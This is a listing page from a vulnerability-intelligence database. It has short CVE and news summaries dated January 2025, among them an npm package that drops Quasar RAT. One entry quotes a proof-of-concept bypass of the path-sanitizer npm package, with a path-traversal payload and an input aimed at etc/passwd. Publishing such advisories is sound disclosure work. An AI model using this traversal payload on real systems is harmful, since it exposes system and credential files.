CyberAlerts is shutting down on June 30th, 2025. Thank you for your support!
Threat and Vulnerability Intelligence Database
Example Searches:
CVE
Threat Actors
Countries
Vendors
Severity
Known Exploited
|
Description: Details have emerged about three now-patched security vulnerabilities in Dynamics 365 and Power Apps Web API that could result in data exposure.
The flaws, discovered by Melbourne-based cybersecurity company Stratus Security, have been addressed as of May 2024. Two of the three shortcomings reside in Power Platform's OData Web API Filter, while the third vulnerability is rooted in the FetchXML
January 2nd, 2025 (7 months ago)
|
CVE-2024-25133 |
Description: A flaw was found in the Hive ClusterDeployments resource in OpenShift Dedicated. In certain conditions, this issue may allow a developer account on a Hive-enabled cluster to obtain cluster-admin privileges by executing arbitrary commands on the hive/hive-controllers pod.
References
https://nvd.nist.gov/vuln/detail/CVE-2024-25133
https://github.com/openshift/hive/pull/2306
https://bugzilla.redhat.com/show_bug.cgi?id=2260372
https://github.com/openshift/hive/commit/5ba846620f9dbf49301dabb0d40cc980aabef4e0
https://github.com/advisories/GHSA-wgqq-9qh8-wvqv
CVSS: HIGH (8.8) EPSS Score: 0.05%
January 2nd, 2025 (7 months ago)
|
|
CVE-2024-56198 |
Description: Summary
This is a POC for a path-sanitizer npm package. The filters can be bypassed and can result in path traversal.
Payload: ..=%5c can be used to bypass this on CLI (along with other candidates). Something similar would likely work on web apps as well.
PoC
Here's the code to test for the filter bypass:
const sanitize = require("path-sanitizer")
const path = require("path")
const fs = require("fs")
// Real scenario:
function routeHandler(myPath) {
// Lets just assume that the path was extracted from the request
// We want to read a file in the C:\Users\user\Desktop\myApp\ directory
// But the user should be able to access C:\Users\user\Desktop\
// So we need to sanitize the path
const APP_DIR = "/var/hacker"
const sanitized = path.join(APP_DIR, sanitize(myPath))
// Now we would usally read the file
// But in this case we just gonna print the path
// console.log(sanitized)
return sanitized
}
function readFile(filePath) {
const absolutePath = path.resolve(filePath) // Resolve to absolute path
fs.readFile(absolutePath, "utf8", (err, data) => {
if (err) {
console.error(`Error reading the file: ${err.message}`)
return
}
console.log(`Contents of the file ${filePath} :\n${data}`)
})
}
input_user_bypass = "..=%5c..=%5c..=%5c..=%5c..=%5c..=%5c..=%5ctmp/hacked.txt"
// input_user_bypass = "..=%5c..=%5c..=%5c..=%5c..=%5c..=%5c..=%5cetc/passwd"
input_user_payload = "../../../../../../../../tmp/hacked.txt"
readFile(routeHandler...
CVSS: CRITICAL (9.3) EPSS Score: 0.05%
January 2nd, 2025 (7 months ago)
|
|
|
Description: In the past year, cross-domain attacks have gained prominence as an emerging tactic among adversaries. These operations exploit weak points across multiple domains – including endpoints, identity systems and cloud environments – so the adversary can infiltrate organizations, move laterally and evade detection. eCrime groups like SCATTERED SPIDER and North Korea-nexus adversaries such as FAMOUS
January 2nd, 2025 (7 months ago)
|
|
|
Description: German prosecutors have charged three Russian-German nationals for acting as secret service agents for Russia.
The individuals, named Dieter S., Alexander J., and Alex D., have been accused of working for a foreign secret service. Dieter S. is also alleged to have participated in sabotage operations as well as taking pictures of military installations with an aim to endanger national security.
January 2nd, 2025 (7 months ago)
|
|
|
Description: Cybersecurity researchers have discovered a malicious package on the npm package registry that masquerades as a library for detecting vulnerabilities in Ethereum smart contracts but, in reality, drops an open-source remote access trojan called Quasar RAT onto developer systems.
The heavily obfuscated package, named ethereumvulncontracthandler, was published to npm on December 18, 2024, by a user
January 2nd, 2025 (7 months ago)
|
|
CVE-2025-0168 |
Description: A vulnerability classified as critical has been found in code-projects Job Recruitment 1.0. This affects an unknown part of the file /_parse/_feedback_system.php. The manipulation of the argument person leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. Es wurde eine Schwachstelle in code-projects Job Recruitment 1.0 entdeckt. Sie wurde als kritisch eingestuft. Es geht dabei um eine nicht klar definierte Funktion der Datei /_parse/_feedback_system.php. Dank Manipulation des Arguments person mit unbekannten Daten kann eine sql injection-Schwachstelle ausgenutzt werden. Der Angriff kann über das Netzwerk passieren. Der Exploit steht zur öffentlichen Verfügung.
CVSS: MEDIUM (5.3) EPSS Score: 0.05%
January 2nd, 2025 (7 months ago)
|
|
CVE-2024-12752 |
Description: Foxit PDF Reader AcroForm Memory Corruption Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Foxit PDF Reader. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.
The specific flaw exists within the handling of AcroForms. The issue results from the lack of proper validation of user-supplied data, which can result in a memory corruption condition. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-25345.
CVSS: HIGH (7.8) EPSS Score: 0.04%
January 2nd, 2025 (7 months ago)
|
|
CVE-2024-11846 |
Description: The does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin
EPSS Score: 0.04%
January 2nd, 2025 (7 months ago)
|
|
|
Description: This daily article is intended to make it easier for those who want to stay updated with my regular Dark Web Informer and X/Twitter posts.
January 2nd, 2025 (7 months ago)
|